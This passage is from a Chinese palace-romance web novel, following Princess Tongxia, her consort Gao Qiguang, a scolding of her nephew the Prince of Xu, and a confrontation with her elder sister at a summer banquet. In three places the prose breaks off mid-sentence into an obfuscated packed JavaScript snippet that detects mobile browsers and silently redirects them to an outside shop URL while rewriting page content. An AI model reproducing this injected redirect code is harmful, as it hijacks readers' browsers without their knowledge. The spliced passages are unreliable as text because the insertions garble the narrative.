“公主,没事了,稍待妾再去取些冰来,散散味道就好了。这都是妾的疏忽,以后再不许旁人染指公主的饭食!” 同霞抱膝蜷缩在榻上,已由稚柳为她擦洗更衣,一张面孔还是不见血色,披散两肩的发丝黑练一般,又把她衬得愈加虚弱。她许久才聚起些许力气,攀住稚柳手臂,交代道: “不与高黛相干,你好好和她说。反正我原就是要托病的。” 稚柳自也深知其中道理,忙点头,扯过厚毯与她盖上,“公主睡睡吧,妾知道怎么办。” 同霞再无多余的精力,看稚柳出了门,缓缓合上了双眼。然而,方才的一幕还在脑海盘旋,又肆意地将并不算久远的噩梦连根拔起: 那盏药膳炖得醇厚雪白,药材的香气也将鱼肉的腥味全部遮盖,未揭盖时,她绝没想到会是一道肉羹——捣得烂碎鱼肉微微泛黄,飘浮在汤汁上,像极了痈疮上流脓的腐肉。 * 高齐光此日照例往许王府授课,因与许王点评前时布置下的文章,便比平素晚了一时到家。才进院子便见高黛站在正屋檐下,不进不退,不知在观望什么。 他上前询问,又不及开口便反被推远,直到宅门之外才听见解释。高黛自是要将一日的事情详细告知,可才说到公主生病,还没提到她最关心的疑惑,只见他眼色一凛,反问道: “怎么不早来报与我知道?!”大约察觉高黛并做不得主,自己是一时冲头,沉沉一叹,便要转身回房—— “你是怎么回事?” 高黛的声音并不高,也没有追去阻拦,但一句质问却着实将人留住了。他慢慢转回,面色仍余急躁: “我没有忘,也不可能忘,”捏紧了垂在身侧的手,又道:“但公主……只是公主。” 高黛一笑:“我没想说这个——我相信你不会做违心的事。” * 同霞在混沌不堪中睡去,似乎没有再为噩梦挑衅。再睁开眼时,昏黄的烛光下是高齐光的面孔。并不意外,但她忽然只觉不知所措,怔然半晌不知说什么。 可高齐光也没有急着询问,自榻边撑起身躯,一点点迫近,一只手臂轻缓地穿过她颈下的空隙,扶着她的肩,将人揽到了自己胸膛,这才道:“公主觉得怎么样?” 她却只听见藏在他肌骨下的笃笃心跳,“我不要紧。”声音无力得像是泄气,却随之昂起脸来,目光直白。 “可是公主正在发热。”他摇头,紧了紧托住她的手臂,另一只手伸向榻边端了水来。 他应是早就往自己身上探过,可同霞倒不觉得,抿了几口水下肚,仰视他的眼睛渐觉酸胀,“你陪陪我就好了。” “臣……”他的双瞳如受惊般缩了缩,眉心攒起几道深痕,提气半晌才小心倾吐,“公主不愿去请医官,是怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16657306|188272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊动陛下担心?那何不让阿黛试一试?若只是寻常小疾也就不怕了。” 她如何推拒就医,想必高黛已经告知,倒不知稚柳是怎样解释,难道还没有说服他?还是说,他此刻的心切之态,只是掩饰狐疑—— 可自己并没行差踏错,他又能怀疑什么?那些在繁京城中四散的关于高琰的流言,他也能察觉源头是枕边人么? “你不想陪我就罢了。”她不能傻到自投罗网,胡搅蛮缠倒是个妙法,说着轻哼一声,推开他靠回了枕上,“反正我来之后从未见你去过冯氏房里,如今你就去看看她吧。” 他确是万没料及,又似被戳中短处,脸色沉了几分,“臣不是此意——臣不想去看她。” 后头几字仿佛带了些微决绝,又沾带了赌气般的无奈,同霞不禁迷惑,反问道:“你不喜欢她?那为何还与她有了孩子?” 只是话方出口,她又自悔无趣:宫里的女人不就是这样?有宠无宠与有子无子,并不是必然的因果。 但这话也倒不好收回了。 “臣担心公主的身体。”他突然又朝她靠近,但并非急色,只替她掖了掖翻乱的毯子,“公主若以冯氏与臣怄气,臣自是万死,可臣今夜所言,句句是真心。” 同霞从前确实没有想过要与其他女子分享丈夫,可要是穷尽根源去说,她却更是从未想过会出现高齐光这样一个人。 大约世上占尽天时地利人和的良机少之又少,少到突然降临,便会天然携带一点无伤大雅的缺憾。 她必须接受,也无须为此多费精神。 可是,他又说他句句真心,真心若是缺了一角,还叫真心么?会如如月亮一般,无论圆月微月都可称之为“月”? 她突然想起来,他的字是玄度,正是月的别称。 “好吧,我信你,可你能不能信我?”她心念因而一软,垂目望向他尚未挪开的手,慢慢握住了这手的食指: “我告诉你,我——是八月而诞,生来不足,年年都要病几次的,尤其夏日暑热,离不开冰,饮食也尤为挑剔。所以,你再不必惊怪,我是不喜欢吃药,过几天就好了。” 难怪自他进门,已见稚柳来添了四五次冰,他还担心屋内过冷,稚柳也只说是公主的习惯。他终于点点头,缓缓带出一个浅笑: “公主是怕药苦么?” 同霞忽觉自己背上微微出汗,握住他手指的掌心也似乎有些薄湿,将两人的肌肤粘得如同融为一体,透不出气来: “那你怕不怕冷?” 他略一抬眉,旋即又一笑:“臣的家乡清河郡,冬天可是滴水成冰,比繁京冷好些呢。” “那你以后能带我去看看么?我从未离开过繁京。”这话没在她脑中停留一瞬,想到便已宣口,说完才忽觉奇怪,暗拧了拧眉。 他不知在想什么,又不像是发觉了她细微的尴尬,笑意仍停留在嘴角,“好,臣答应公主。”许久才出的承诺倒显得平常了许多——像是审视酌定后的一个微妙的选择。 “草堂陋室非紫庭金殿,你我能不能不做君臣?”她又想到一个巧妙的方法,想要试着捉摸他明灭不清的心意,“只是夫妻?” 他仍没有即刻回应,低垂目光看向被她握住的手,然后轻轻翻掌,将她的手抬到了自己胸前、颊上、唇边:“我答应你,霞儿。” 她一笑:“好,高郎。” 此刻月已明,星犹稀,紫庭金殿上必是铁马低敲,玉漏暗催。可草堂陋室人声静后,只有铜鉴上滴沥如泣露的寒雨,冰冷地扣击着一地幢幢残影。 11.无事神仙 因同霞一场病,齐光便到许王府告假。萧遮听闻自是放心不下,索性便跟到小宅上起了学,又能探病,一举两得。课堂只能设在齐光的书房,与夫妻的正屋隔院相对。 萧遮从没见过这样逼仄的民居。总共前后两进院落,后院杂居着两个女眷和男女仆从。而一进宅门的前庭反而是主人房,简直毫无遮蔽。他原还以为,同霞来此居住,是要过神仙隐士的日子。 他经不住不想这些,越想又勾起更多难解心事:同霞为什么突然喜欢上这个高齐光了?当初一起出阁开府说得好听,如今却把他一人抛在王府,有什么消息反倒只能听高齐光传达了…… “大王,大王?” 飘远的思绪被声声催问硬拉了回来,只见悬空笔尖正在滴墨,忙去砚上舔笔,却早已来不及,案上刚写完的一篇字算是废了。他不免懊恼,直接撂开手,道:“今天不学了!” 可是今天的课才上了半个时辰,才是练字,接下来还要讲经。齐光自然要劝,便替他换了纸,整理好台面,方道: “研究治学是长久之功,大王尚且年轻,断不可一日懈怠,还请大王再临一遍字吧。” 萧遮原就积攒了些意气在心里,承教于齐光以来又添了不少,只苦于无处发作,忍到今天倒有了个出口,斜睨他一眼,道: “我又不必考进士争功名,懈怠一日又能怎样?”冷笑一声,又道:“高学士倒是经年治学,怎么只中在二甲九十八名呢?” 无论是身份,还是年岁上,齐光都不宜与他争论,听来也只觉好笑,拱手揖礼,说道: “臣惭愧,臣的名次是低了些,可命臣教授大王的是陛下,臣也只能遵王命,忠王事。若大王嫌臣才不能胜任,德不堪为师,臣亦不愿大王委屈,明日便去陛下面前请辞。” 他才托出“陛下”二字,萧遮脸上已没了光彩,听到最后更是羞怒难当,却又实在无兵可用了,咬着牙抓起笔,悻悻道: “高齐光!你真是——面目可憎!”只这一句,仍见他面带微笑,又觉是挑衅一般,再次丢了笔,直接扔去了他脚下,起身呵道: “你就拿这一张面皮骗了多少人?陛下信你,高琰也喜欢你,连我小姑姑都一下诓了去,真是好本事!可你别以为,你在这繁京城就能只手遮天了,我才不会上你的当!” 他固然是冲头的气话,一句赶一句倒是越发没深没浅。齐光不由脸色沉下,心里思索中和的法子,要先将这张嘴封了才是—— “我竟不知许王如今这般厉害!” 然而,两人都未及再言,却是同霞忽然推门进来,一眼便扫到萧遮面上,叫他顿时就溃不成军,白着脸连连后退,眼睛垂得要贴到胸脯上去。 “公主……” 齐光自然知晓攻守易势,眼里便只剩了同霞。这还是她连日第一次出房门,虽只几步路,也是要穿过毒日头的。可同霞只将他暂且按下,一笑,指着萧遮道:“这小子之前在王府也是这样?” 齐光无心计较,瞥了萧遮一眼,只如实道:“大王向来勤勉,今天大约心情不佳,是臣失之体察。” 同霞点点头,朝那人走了过去,看似已息了怒,却是一把提起了他的耳朵,斥道:“把你刚才的豪言壮语再说一遍我听听!” 萧遮先一惊,又被拽得生疼,哪里还有先前的嘴,身躯直缩,双手直摇,呼救道:“我错了!我错了!姑姑饶命!” 同霞并不松手,捏紧了又道:“你有多少斤两,我比不上,高琰也不如你,就是陛下也不如你明白,你可想清楚了是这意思?!” 萧遮像是才明白这分寸失了有多远,两眼睁得老大,下一瞬便呜咽咽哭了出来,仍告饶道:“我不敢了,我不是我不是!” 如此情景当真是齐光平生未见,既不愿事情胶着,更不忍同霞病体,终究一步跨去,横入她姑侄中间,将同霞揽到了远处: “公主,本是小事,不必较真啊!臣先送你回房?” 同霞轻喘着气,目光在萧遮和齐光间来回移动,半晌才作一叹,却是道:“驸马替我去取些冰来好吗?” 书房自晨起便为迎接萧遮摆了冰鉴,一二时辰过去也是该换,况且同霞仍有深意,齐光都看得明白,点头道:“臣这就去,那公主可不要再动气了。” 同霞自然应下,看他出门方又走到萧遮跟前,见他仍啜泣不止,递了帕子去,也没好气道:“你还知道哭?这要是在王府,人多口杂,天都叫你捅塌了!” 萧遮咬唇强忍,红着眼颤颤道:“姑姑不会告诉我娘去吧?” 同霞想想前后反差,无奈摇头,拉了他同坐案前,亲自替他揩脸,“你啊,别以为听了几句风声就知道是非了,你就多想想你娘这些年是如何自保,再不要这样口不择言了。” 萧遮在母亲的影响下,自小的理想便是做个闲散宗室,虽则如今志向未改,但许多情绪都是因同霞的婚事而起。此时心中渐渐平静,不免要吐露: “我是不懂那些乱七八糟的,也不想懂,更不想争,可你还不是同我一样?为什么突然选了高齐光做驸马?难道就是为了我,借他与高家的关系,平衡我与大哥的关系?” 这层容易叫人想到的意思,萧遮在她当面向皇帝请婚的那天便提到过,她当时没有回答,这时也没点头,说道: “你要是这么看,我也不好说什么,毕竟我当时并没有多想——我就觉得他和别人不一样。而且,你看我现在不是很好么?这里是我的世外桃源!” 萧遮眉眼一皱,略有嫌弃,但他来这儿之前倒也确实认为同霞是想避居,想了想道:“那我把旁边的宅子买了,我们还一处作伴好吗?” 同霞抬手就敲了下他的脑袋:“我的话都白说了?有些事你便不想懂,也只需照做!我既嫁给了驸马,无论怎样,除了授课,你我都该少些私交——高琰对驸马有恩,人情是避不开,但高琰又是你大哥的舅舅,我又是皇后抚养,盘根错节已是难以脱身,若再不知明哲保身,只会把自己搅得更深,所以你要乖一点啊!” 萧遮听得发愣,终于才摸到一点门道似的,大叹了一声,沮丧道:“可你当初要是不选高齐光,陛下那么宠爱你,肯定也会为你选个更好的。驸马与高家无涉,我们就能一切照常了。” 同霞似料定他必会将话端转回原处,很快一笑摇头:“陛下选的未必是我喜欢的。”倾身伏在案上,若有所思,又道: “况且陛下要选也只会在那些勋贵世家里选,这些门第可不是一个公主就会觉得天恩浩荡的,还是我这样的公主——谁不知我母亲只是个宫人,生下我便闭眼去了,莫说是名分,就连名字都模糊了。所以我根本也不愿意牵扯到那些门庭里去,他们嫌我出身低贱,我还嫌他们一团污秽呢。” 萧遮再不省事,同霞的身世倒是清楚的,此刻听来不免想起了在她出嫁那日听到的不堪之论。 那些人就站在观礼的人群里交头笑谈,说这位低贱公主再是会讨陛下欢心,也不过配了个寒门驸马,不知是谁轻贱了谁,也不知是谁高攀了谁。 “你别难过,我现在可以保护你了。”不知如何劝导,他便只掏出最赤忱的话,顿了顿,忽然起身去将刚刚扔掉的笔捡了回来,“我今后好好同高驸马学就是了。” 同霞终于满意点头:“明日起还是叫他去王府,我已经好了,你不必牵挂。你也是要选妃的人了,万事都该自己先有计 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16670616|188272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算,懂吗?” 话原已说到尽处,一听“选妃”,萧遮又险些将笔松了:“此事,陛下已叫礼部着手办了,我娘也在选呢。” 元服出阁之后,选妃是顺理成章的事,同霞不过随口叮嘱,见他这副样子,只问道:“选着谁了?总不至于也是出身寒门?” “那倒没有定,只是,我不踏实。” 同霞不由白了他一眼,再不迟延,起身要走,“嗳?驸马怎么还不回来?” 想是二人说得入迷,这时才觉不对,萧遮随即便对屋外叫喊他的随侍:“董静!去请高……” “臣回来了。”一语未了,高齐光倒忽然现身门下,神色如常,先去放了冰鉴,又道:“那臣还是先送公主回房。” 同霞却觉不必,正欲说话,萧遮却卖乖道:“我还要补一篇字呢,高学士稍待再来就是。” 高齐光极快应承,深揖一礼,便让同霞再无拒绝的机会。 * 同霞觉得高齐光有话要说,短短的距离一直盯着她,直到关上房门也没有丢开手。但她端量着,还是自去占了先机: “我今天替你治了他,他以后就不敢了。有些事他糊涂,你以后大可直接提醒他。他终归不是分不出好坏,你多担待吧。” 他没有回应,却是缓缓抬手,伸向她发间垂下的丝绦,“你刚刚太过动气,头上都有些乱了,我替你理一理。” 同霞细瞧他的脸色,不浓不淡,但因近乎背对日光,凸起的眉弓,隆正的鼻骨倒将他半张脸都压在了一片阴翳之下。 只不过,他的五官长得实在清晰,清晰到有些极细微处的颤动,如眼角,如双眸,也如唇上的细纹,都叫人不敢轻信。 “高郎,你怎么了?”她装作浑然不察,直白去问。 他的手正理到她髻上唯一装饰的一支翠玉凤簪,拔出半寸,微调了位置,才将目光垂下,却不言,手也随眼睛下移,忽而将她按入了怀中: “我想你每天都不要动气,不论是为谁。若是觉得此地好,我们就一直住在这里,也可以搬到更远的地方。” 同霞虽为他举动所惊,辗转却并无意外之色,随他拥得愈发紧,也慢慢环住了他的腰,“再远就要出城了,你每日上职太远了。” 他在她耳畔轻声送笑:“那你上次还说要到我的家乡去看看,这是假话?” “你的意思是不在京城做官了,又想外任?”同霞贴着他的胸口缓缓仰起脸,“这怎么可能?你才来的。” 他柔声回道:“以后,或者一年,或者三年,总有一天,不论是清河郡,还是哪一处,四海天下,我们都去看看。” 同霞不知再说什么,忽觉鼻子发酸。大约从没有人对她这样说话,坚定但温柔,低回而振奋,不像许诺,像是已经做到了。 他也似乎都能看懂,亦不再言,将她扶坐榻上,向她额上轻落一吻,终究回书房去了。 同霞似意犹未尽,呆呆望着房门,直到稚柳推门进来,向她禀道:“公主,驸马刚刚是都听见了。” 这不是向她提问。这是她的安排。 萧遮突然的发怒给了她一个权且叫做“试探”的机会。高齐光出门取冰时,稚柳早已备好了在等他。他应该只是没听到她开头那两句无关紧要的嗔怪。 “我知道。”她不经意地向眼尾拂了一把,又深深闭目片刻,方又抬起脸来:“七郎选妃的事,叫人打听着。” 稚柳是陪站在屋外的,早也听见这一条,“公主以为高家也会插手许王妃之选?” 同霞一笑:“不是高家,是陛下。他一定会选一个能让高家辗转反侧的儿妇——就像给肃王送去的两位颇有出身的侧妃。” 12.楼台翠微 时至六月,便近初伏,炎炎暑气到了最鼎盛的时节。 前几日便有宫中内臣传下皇帝旨意,要安喜长公主同驸马于初伏当日,赴翠微宫参加消夏之宴。虽算不得年节大宴,却是夫妻婚后第一次共同参宴,想想也是会引人注目的。 宴会为避炎日,是酉时方才开始。夫妻虽住得远些,依同霞计较,还是到了申时才出门登车。 车便是一驾普通轻车,而二人又只作寻常装扮。齐光着绿袍银带的官常服,同霞则选了月白窄袖衫罩湖蓝半臂,系了条淡黄轻绫裙子,披了轻容纱帔子。 凡此看来,必定更加夺人眼光,齐光倒有些不解,但路程过半也不见她多说,一时便直接问道: “我以为你今日该是不愿招摇的,在想什么?” 同霞摇了摇手中团扇,笑道:“你以为我们不住公主府,只住在你的小宅,旁人都不知?我们的本心如何,旁人也是不屑,众口多舌,必无好话。若我们忽然为场宴席改了作风,岂不是更假了?” 齐光听出些深意:“更?假?” 同霞点头道:“都不必说陛下赐我的嫁妆,我可是有实封一千三百户,哪个长公主能比我多?你也是,单一个驸马都尉的本俸,一年便是十万钱,足是高懋的两倍——我们这么有钱,装也是白装,但既然装了就彻底些,何必真假掺半的小气呢?” 齐光被她的话逗笑,明白过来,又道:“那为何要拿我同高懋比呢?依你的辈分,我也该同一个长公主的驸马去比啊?” 自己装作随口提起的高懋,其实是有促狭的含义,倒被他一下撵了出来,同霞不禁轻哼,不愿承认,道: “谁叫他也是高驸马呢?天下多少姓氏,满朝多少驸马,就独你们二人重了,自是奇缘啊!” 齐光望着她这副刁滑模样,却没再继续与她取笑,从她手里抽开了团扇,忽而迫近,将人拦腰降服: “上回许王口不择言,公主还那般大义凛然地训教,怎么到了自己嘴里,也放肆了呢?” 同霞似乎才觉失口,又被他按得无法动弹,腰腹紧绷,很快便面红耳赤起来:“你放开,马上到了。” “我不放,还没到。”他接得毫无间隙,嘴唇近乎贴在她耳上。 同霞看来已入绝境,咬牙急思,直呸了他一声:“一时叫公主,一时又你啊我的,究竟是谁放肆?” 他并没有贴靠上她的肌肤,却愈发感觉到热气蒸腾,似从她红透的脸颊散出来的,却也未必没有自己身上的,“好了,不闹了。” 他终于松开手,同霞才觉腰后已被汗水洇了半透,仍觉羞恼,朝他努嘴哼道:“是你闹!” 他却得意挑眉,一只手提起来正欲做什么动作,车驾忽然停了,李固在外禀道:“公主、驸马,宫门到了。” 同霞再不理他,稍整了整衣裳便要下车,却又被他一拽手臂,跌坐在他腿上,“真的到了,你没长耳朵?” 他倒是点头,然后举出手掌一翻,竟变出一个鼓鼓的承露囊,但并不是同霞的那枚,“是青梅饴糖,酸甜中和,想必你喜欢。” 同霞虽惊讶,也确实没有自己带糖,但更多是疑惑:“怕我宴上没得吃么?又做什么非要现在给我?” 齐光含笑替她系在腰间,便扶着她一起下了车。放眼宫门前已经聚起的宝马香车,果衬得他们渺若尘沙,笑了笑方才回道: “这是民间小食,上不得天家宫宴,可助你装得更像些。只是我的身上热,怕放化了。” “……” * 翠微宫外池水环绕,池畔栽种兰草,水泽遍植芙蓉。当此季节,兰泽生芳,芙蕖竞放,虽熏风过境,也渡成了幽润清风。再配上宫灯闪耀,舞乐送声,只犹如瑶池仙殿一般。 但这都是同霞见惯了的,心中毫无波澜,到了殿前,也并不去前席就坐,随手一指临水的一个侧席便不走了。齐光自然不必再问,二人就真做起了赏客。 今日来参宴人虽不少,但除了宫眷宗亲,便只是亲臣勋贵,席间并不拘严规,因而多有宾客来往游赏,还有孩子跑跳欢闹。 “高驸马!” 才坐了一时,忽听哪里有人高呼一声。这称呼顿时引了他们四下张望,可谁知,却在连殿的水桥上看到了高懋与人寒暄——原来彼高驸马非此高驸马。 这不是正射中了车中所言? 同霞登时大笑不止:“哈哈哈……我未卜先知了!” 是谁不是谁总要看了才知,齐光并没认定是自己,却见所未见她这捧腹拍案的夸张样子,脸上到底是一涨:“不好笑。” 同霞仍作强忍,说一个字漏两声笑:“那你脸红什么?” “我……”罢了,已失前蹄,他认输,无奈暗叹。 两人就这般对峙,却不见几步之隔的水榭上,早有几个通身朱紫辉煌的贵眷向他们抛过眼来,或是鄙夷,或是稀奇,口中啧啧,越发止不住议论,也越发不屑低声: “你们看看,若不说是公主驸马,谁还能放这等寒酸人物进来?这小十五不知着了什么魔,这个高齐光再是好相貌,又何必奉承他至此?若这人就是个田舍汉,她也要跟去做农妇了!” “这话确是,她一向就没有半点公主的尊贵气度。我还听闻,这位高驸马身边早有一妾,她竟还能上赶着去,便是个百姓家的主母,也没有她这样丢人的!” “所以啊,才是什么人配什么人,她又放着陛下赐的公主府不住,偏和一家子妾婢下人挤在一起,想想都荒唐!” “说到公主府我更不服!先帝的公主,数她最小,生母也不过是个贱婢,偏她能哄得陛下无端厚爱,修建公主府耗费百万,食封也是长公主里最多的,连带这个寒门驸马如今也成了豪门了。” 话音在近水楼台,人亦在近水楼台,同霞并不急于得月,细细听到此处,方对高齐光笑道: “你应该不是第一次听了吧?可还精彩?” 高齐光自然早有领略,稍一点头,只道:“是我叫你受委屈了。” 同霞悠然一笑,自斟了一杯酒送下咽喉,咂嘴道:“你若是指你的出身委屈了我,大可不必,她们才不是说了?我的生母也是微贱之人;你若是为冯氏,那就——看我的。” 齐光正觉不解想要询问,同霞已起身走向水榭。他随即跟了上去,又见她只是笑脸相对,一时也不好插手,暂且看了下去。 同霞抬脚间已将那处的人都看清了,为首打腔的声音果然出自先帝四公主,也就是她的四姐,东平长公主之口。余者有两个同辈的郡主,一贯是紧随其后的。 还有一个小辈,正是东平长公主的女儿郑氏。其父驸马郑信,在监门卫担任军职,一向的仕途都很平常。方才众口讥刺,倒就是郑氏与她母亲唱和得最妙。 这几人发觉同霞过来,嘴上虽一时收敛,颜面却不改色,不必同霞开口,东平长公主即挡在前头说道: “小十五,咱们也有许久不见了。”瞥了眼立在阑干下的高齐光,又一笑道:“不过,你这新婚燕尔的,怎么倒舍得下你的驸马?” 同霞只是摇头笑笑,眼睛自郑女看起,缓缓方移到东平脸上,道:“我听四姐的话呀!” 她素来行事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16683178|188272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不管对面是谁,不如意便撕破脸皮。东平倒从未见她这般开场,只是也知她并不客气,轻哼一声道:“你连皇后的管教都一向不服,我怎么能叫你听话呢?” 同霞似做思忖,低头拨弄起手指,片刻忽向她劈头斥道:“你既然知道,那为何方才还言之凿凿,说我奉承驸马以至混迹婢妾之间,连百姓家的主母都不如?!你是比皇后娘娘还尊贵,还是在怨怼厚爱于我的陛下?!” 她态度突转,东平再有预料,也被这话惊得眼睛圆睁,不及反驳,又见她笑得直弯腰,一脸讥讽道: “四姐这般端正大义,怎么两年前撞破姐夫在外置宅养了个外室,就能将那女子脱/光了扔到街上去呢?最后还叫她一头撞死了!四姐要是也学我,善待那女子,就接她入府做个侍妾,又何至于闹到陛下跟前,不但叫姐夫丢了世袭的侯爵,连四姐的食封也减了五百——” 说着看向她身畔两位郡主,又道:“我四姐嫉妒我封户冠绝,可你们现在的封户也比她多呀,还日日相处,不是戳她的脊梁骨么?” 郑驸马的这桩丑闻,当时闹得朝野沸腾,连坊间妇孺都能说上几句。若非正逢皇帝即位之初,又要顾及皇家颜面,恐怕也不止是削爵削封这般便宜。 于是旧事重提,正是同霞所谓戳她的脊梁骨,只见她满面浓妆也掩不住皮下血色骤减,精气也分明被抽走一般,嘴唇张合,四肢颤抖,再说不出一个字。 两郡主终不过依附,见事态至此,也只为自己前程考虑,就咬牙瞪眼,扶了东平长公主退避一旁。 而郑女见状,既一样不堪其辱,又实在要帮母亲,可情急也不知骂什么解气,一眼看见旁边案上摆着个鎏金嵌宝的酒壶,竟提起来就往同霞身上砸去。 同霞并不欲将此事闹大,所以说话的声音一直也没有越过四下的歌乐声,此刻已是了事要走,正转身,余光才划见那东西飞来,躲不开了—— 但下一刻,只觉手臂猛被一拽,整个人便被高齐光拢在了怀下。其后叮当几声酒壶落地,似不觉砸中了他,抬眼看时,却见他额角清晰一道红痕,是那酒壶的壶盖蹦了出来。 同霞登时神色一凛,转向郑女的目光近乎冒火。然而,根本不容她再有动作,高齐光又直接将她拽离了水榭,直过了水桥来到殿外无人的游廊才停下: “太危险了,你就要我看这个?!” 他急得像是发怒,虽是关切之心,但同霞一时只觉窝囊,看着他额上伤处又愈觉刺眼,忍耐道: “你以为我到今天才会这些的?还是你觉得我没有办法了结她们?”吐了口气,瞪视又道:“我说过我会保护你的,不管是说你的话,还是伤你的人,都不行!” 高齐光能看出她起初并不想闹事,但突发事故也着实叫他吓了一跳,心中杂陈已久的诸多情状,一时都作了五味翻腾:她是公主,自有与生俱来的权势可供她飞扬跋扈,可她也是个孤儿,大把与她一样权势傍身的人都在欺负她—— 此时此刻的她,才是真的她吧。 “我不要紧,这是御宴。”他沉默半晌,硬忍下了将要涌入眼中的酸楚。 同霞当然并不满意,但忽觉无力,笑了出来,双手撑在阑干上,翘首远望,只见对岸灯火掩映处,三五儿童正在追逐嬉戏,跟着他们的保母侍从也不得已团团打转。 “你看,你不用羡慕,再过两三年,你和冯氏的孩子也能这样满地乱跑了。你还没有想好那孩子的名字么?” 齐光只觉胸口一震,垂在身侧手紧紧攥起了拳。她没有再看自己,在昏暗的灯影下,他这才允许自己湿了眼睛。 13.林惭涧愧 夫妻无言半晌,终究回到席间。不多时,皇帝内官陈仲亲来传见,二人便还是去御前露了露面。因水榭的官司并没闹开,一切照旧祥和无故,他们不过就同别人一样,推杯换盏,粉饰而已。 待宫宴散了,已露重更深。那驾来时便异于众人的素车,又在格格不入中驶向帝都的一隅。 同霞似乎酒沉,自登车起便一直闭目倚在车壁上,任行车晃动,只勉力撑紧手臂,半点不肯软一软脊梁。 齐光也一直望着这样的她,渐从无措变为难忍,展臂一揽,将她的头靠到了自己肩上,等了等见她并不排斥,方轻声道:“你的酒量……其实并不多吧?” 同霞笑了笑,酡红的面颊向他胸膛蹭了蹭,竟十足惬意:“你都说了,这是御宴,没有酒量也要有的。何况,我只是困了。” 她唇边一对笑涡因她或言或笑而时隐时现,错落地跃入齐光的眼眸,如有律动,渐合心音。他不禁,忍不住地捧起这张似在撒娇,又像赌气的面孔,却又不敢亲近,蹙眉发怔。 但她忽然睁开了双眼,挑动般一笑,竟伸开双臂将他一把搂住,口中喃喃: “高齐光,其实你不用可怜我。生于公宫,养于华庭,比那些食不果腹的贫贱小民可好多了吧?我也曾想过,若我不是公主,却是一个能够吃喝不愁的小民,还会有什么烦恼呢?可转回一想,只吃喝不愁便无忧虑的人,怎么可能是小民?是神仙!” 自嘲般笑了笑,又道:“这倒是七郎的梦想,他就想做一个闲散宗室,可你看他做得成么?宗室做不成,若从宗室跌为小民,就更做不成。所以你看,这就是我们的命——你呢?又有什么不一样,与我做了夫妻,比我还要可怜。” 她若不是醉话,便是真心话,可真心话怎会这般缠绕又深奥,一点也不坦诚。但齐光却分明是能懂的,心中隐隐的刺痛代替了此刻一切说不清道不明的感情。 他只能回以坚实的拥抱,在她滚烫的耳畔说道:“我们一样,便好了。” 同霞侧转脸面觑眼看他,车内悬挂的小灯虽则昏黄,映在他眼里,却如星火般熠熠生光。这是一副端正到严正的面貌,她难以理解:“高齐光,你究竟是怎样的人?” 他却淡然一笑,抚着她的脸,缓缓回道:“是有朝一日要让你不愁吃喝,余生无忧之人。” 同霞一时惊诧,但不敌酒意忽而袭来,一阵头痛,倚倒在他肩头。他也不再多说,将她抱于腿上,侧卧怀中,轻轻地替她按揉太阳穴。 * 齐光将昏睡之人抱回小宅时,稚柳早将一切盥洗之物备好,正欲接手侍奉,却被齐光一言遣开。 这还是驸马第一次照料公主近身之事,她虽不敢违拗,也怕驸马手脚生疏。但站在门下看了半晌,只觉他自头至脚有条不紊,没有落下一处,连端水擦拭也像呵护薄冰一般轻细。 她忽然想起公主尚未出嫁时曾叮嘱过她,不要对驸马心存恶意,现下才能体悟几分。于是不动声色,闭门离去。 * 待一切事毕,齐光才想起自己尚未更衣,正欲转身,忽见榻上的人嗯嗯哼声,扭动起身躯。他便再也离不开了,俯身靠近,侧耳细听,才隐约听清了两个字——“要糖”。 他不禁忍笑,瞥见案上茶水,先将人揽起喂了几口,便自刚从她腰间拆下的承露囊中取了一块糖喂到她唇边:“霞儿,张嘴。” 她睡得迷糊不清,话倒是听得明白,立马含糖入口。只是口中尽情地裹动了几下,却忽然受惊般睁开了双眼,怔道: “……酸。” 囊中是青梅糖,自然是有些酸口,也不是她素日常吃的。但齐光本以为她并不挑口味,此情此景倒尴尬起来,忙也拣了一块来吃,却觉得酸甜适度。他之前也是尝过的。 “那,便吐了吧?”各人偏好不同,他也只好伸手去接,然而,竟又见她闭上了眼睛,身子一滚,翻进了里侧。 她难道是在做梦? 齐光伸手的动作僵了半晌,终究不解,更只得依从她,便仍靠近了替她掖了掖毯子—— “高郎,你的孩子不如就叫青楣吧?楣梁之楣。” 青楣,青梅,她分明知道吃的是什么糖,她不是在梦中!她还在想宫宴上的儿童……而楣梁是房屋的次梁。 高齐光终于颓然失笑。 * 同霞一直睡到晌午方才醒来,一见稚柳正在添冰,便起身下榻叫她备水理妆。稚柳自然早已备齐,一面服侍,想起昨夜驸马的举动,不免细说了一回,又道: “驸马仍是一早便去了王府,交代了让公主多睡睡,高娘子还熬了橘皮花蜜的饮子,说是可以缓解酒后不适。只不过妾想起上回,便还没去端了来。” 